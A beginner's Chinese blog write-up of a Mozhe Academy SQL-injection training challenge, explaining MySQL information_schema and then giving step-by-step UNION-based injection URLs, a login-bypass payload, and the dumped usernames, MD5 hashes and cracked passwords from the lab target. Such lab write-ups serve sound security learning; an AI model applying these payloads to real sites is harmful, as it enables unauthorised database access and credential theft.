墨者学院的SQL注入题:https___mozhe

墨者学院的SQL注入题:https://mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe

第一步:先了解相关知识点

1.1知识点

在 MYSQL5.0 以上,MySQL 存在一个自带数据库,名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当与可以通过查询它获取某一个数据库下面的表名或列名信息

table_name:表名

column_name:列名

table_schema:数据库名

information_schema.tables:记录所有数据库名的表

information_schema.columns:记录所有表名的表

information_schema.schemata:记录所有数据库的表

数据库版本:version()

数据库名字:database()

数据库用户:user()

数据库路径:@@datadir

操作系统:@@version_compile_os

当前用户名: current_user()

系统用户名:system_user()

sql字符串的相关函数:

length(): 返回字符串的长度

substr():截取字符串

mid(),left():从左侧开始截取指定的字符个数的字符串

concat():没有分隔符的连接字符串

concat_ws():含有分隔符的连接字符串(CONCAT_WS(separator, str1, str2, ..., strN))separator代表的是分隔符

group_concat():连接一个组成的字符串(把分组后的每组的多条记录合并成一条记录每个值用,逗号分隔)

ord():返回十进制的unicode编码也就是10进制

ascii():返回ASCll码

1.2select 语句的构成:

1.from:数据的来源

2.where:对原始条件的筛选

3.group by :分组

4.order by :排序,升序ASC,降序DESC

5.通配符*代表所有

select * from ? where ? ......自己想

第二步:寻找注入点:

2.1:ulc寻找

在打开靶场后可以看到是一个登录画面在上方ulc中可以先尝试寻找注入点 http://182.44.114.36:42957/?id=1 and 1=2

http://182.44.114.36:42957/?id=1 and 1=1

发现网页都没什么变化,所以可能没有注入点,

方法:在url地址栏中可以判断是否为

字符型注入:id=1' and 1=1#如果网页没有报错则用id=1' and 1=2#如果依旧没有报错就得考虑数值注入,也就是说1=1为真结果网页没有出错能正常显示,1=2不能正常显示就说明网页时字符型注入由and 后面的1=1 ,1=2 控制。

数值注入:id=1 and 1=1# 也可以用id='1' and 1=1原理就是

(select * from where id=x,limit1,1)用#把后面的注释掉,也可以用id='1'提前闭合可以理解为字符型注入

2.2:万能密码尝试

然后试了一下万能密码('or 1=1#)

万能密码的原理就是比如:select * from abc where user='username' and password='pass'

当输入'or 1=1#或'or 1=1--空格 'or 1=1--+ 'or 1=1%23 时

select * from abc where user='username' and password='pass'中的user='username' and password='pass'会变成user=''or 1=1#' and password='pass'其中#,--空格,--+,%23为注释符所以就构成了一个永远为真的式子

`登录却发现错误,

2.3:查看源码寻找可疑点

所以只能从其他地方寻找sql注入点,在网页源码发现<a href="new_list.php?id=1" target="_blank">关于平台停机维护的通知【12:02】</a></p>这是另一个网页所以点击一下跳转。

发现是一个网页,而且网页的ulc有?id=1这种极大可能的sql注入点,试了一下

http://182.44.114.36:42957/new_list.php?id=1 and 1=2

发现有跳转所以从这里入手

第三步:找出段数

使用 order by X(X是数字) 来寻找

列:http://182.44.114.36:42957/new_list.php?id=1 order by 1

最后发现到5时有变化所以临界点是4 ,所以是一个4段式的网页

第四步:找出响应段

使用 http://182.44.114.36:42957/new_list.php?id=-1 union select 1,2,3,4(为什么要用id=-1,因为id 一般为正整数所以当id为负数时候会抹除原本的信息,我们后面接union是为了构造恶意的sql语句)

可以看到只有2和3有响应

第五步:用已知的函数找出数据库名,数据库用户,数据库版本和操作系统

数据库版本:version()

数据库名字:database()

数据库用户:user()

操作系统:@@version_compile_os

分别在2,3上使用以上函数列:http://182.44.114.36:42957/new_list.php?id=-1 union select 1,database(),version(),4

得到的数据分别是:

数据库版本:version() 结果:5.7.22-0ubuntu0.16.04.1

数据库名字:database() 结果:mozhe_Discuz_StormGroup

数据库用户:user() 结果:root@localhost

操作系统:@@version_compile_os 结果:Linux

第六步:得到表名,以及列名,和列名下的数据项

在知道数据库名后,我们用http://182.44.114.36:42957/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

解释一下:

select 后要跟上四段然后我们要查询的数据替换一段就是1,table_name,3,4

from 后面要跟上来源,来源就是information_schema.tables(包含所有表名的表)

where 后面跟上条件,查询来源于information_schema.tables,条件是我们刚刚查询到的数据库名mozhe_Discuz_StormGroup 这里一定要用'单引号括起来。

得到的结果是表名:StormGroup_member,但是不确定还有没有遗漏的表所以建议把table_name替换成group_concat(table_name)

也就是http://182.44.114.36:42957/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

发现还有一个:notice

接下来找这个表下的列,用http://182.44.114.36:42957/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

意思跟上面的差不多

发现

发现name和password应该就是我们要找的内容

用http://182.44.114.36:42957/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member

解释一下:

因为我们已经找到了表名所以就不需要条件了

得到

发现

name:mozhe

password:356f589a7df439f6f744ff19bb8092c0

根据作者的提示md5,所以用在线解码工具解码

得到:dsan13

我们试一下,发现用户被禁用,所以考虑不止一条记录,所以用limit X,M这个函数来得到从X+1条开始

取M条记录。

例如:http://182.44.114.36:42957/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1

就可以得到第二条记录,password为:e49ba25199e38a8a87f7db121f1737be

用解码工具得到:695355

最后就登录就可以得到KEY了!

本人是新手所以望大家不要取笑我,大家可以指出我的问题我一定改!

posted @ 2026-10-27 12:43  均木  阅读(3)  评论(0)    收藏  举报